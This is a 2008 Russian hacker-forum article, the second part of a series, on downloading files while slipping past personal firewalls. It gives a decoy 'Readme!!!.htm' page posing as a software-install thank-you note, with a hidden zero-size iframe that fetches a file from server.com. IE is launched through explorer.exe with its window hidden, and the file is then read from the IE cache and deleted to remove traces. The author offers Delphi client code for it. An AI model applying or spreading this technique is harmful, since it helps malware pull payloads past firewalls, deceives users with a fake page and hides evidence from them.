I. Цель продолжения Сейчас я продолжу говорить о способе обхода фаеров, начатом ТуТ. Как можно было бы заметить, метод, описаный в первой части, не даёт ответа на вопрос "Как скачать что-то из сети?" Я попробую исправить это недоразумение. Минус метода всё тот же – он годится только для обхода ограничений, связанных с сетевой активностью, так как используется создание процесса. В большинстве случаев, процесс незаметно можно создать без возмущений фаера, но в некоторых случаях нужна СИ... Предупреждение: в статье используется дельфийский код! II. "Подправка" идеи из первой части Запускаем IE, открываем страничку и читаем её содержимое из кэша. Хорошо бы ещё удалить её после этого оттуда по двум причинам: 1) IE иногда криво сохраняет записи в кэш повторно 2) Просто уничтожить следы жизнедеятельности III. Реализация Опять, наша цель - файл ".htm". А конкретно в приведённой ниже реализации я использую к тому же и сокрытие окошка IE. Итак, записываем файл типа “Readme!!!.htm” примерно такого содержания: PHP: <html> <head> <!-- для дальнейшего прятания IE заголовок окна важен!!1 --> <title> 4 t3st purposes </title> </head> <body>тра-та-та, спасибо за установку великого программного продукта и т.п. <iframe width=”0” height=”0” style=”visibility: hidden” src=”http://server.com/doenload_good_file.php”></iframe> </body></html> И, как и в первой части, запускаем файл (“explorer.exe Readme!!!.htm”). После чего ждём некоторое время, пока IE обновит кэш, и грузим файл из кэша,с последующим его удалением. На этом идея реализации кончается. IV. Файлы для статьи. Тут реализован данный механизм с различными вариантами открытия обозревателя get.php: PHP: <? echo "You random is: " . rand(); ?> И основной код, на который, кстати, я, совместно с исследованием структуры файла index.dat, потратил часов 10, пока не узнал, что есть API для работы с ним (работающие, правда, также не безупречно как и результат моих страданий см. пункт II.) Сорцы «клиента» и откомпиленный экземпляр (Delphi! Кстати, интересно будет посмотреть тем, кто хочет разобраться с IE-кэшем) Особых пояснений не даю, дабы такой способ не получил особенно широкого распространения. V. Заключение Всё Re всем, кто меня знает, помнит и т.п. ©73ru5 aka desTiny, 2008.
Небольшое исправление: в коде вместо t := FindWindow(nil, '4 t3st purposes - Microsoft Internet Explorer'); сильно лучше, зоть и не обязательно, использовать t := FindWindow(nil, title +' - Microsoft Internet Explorer');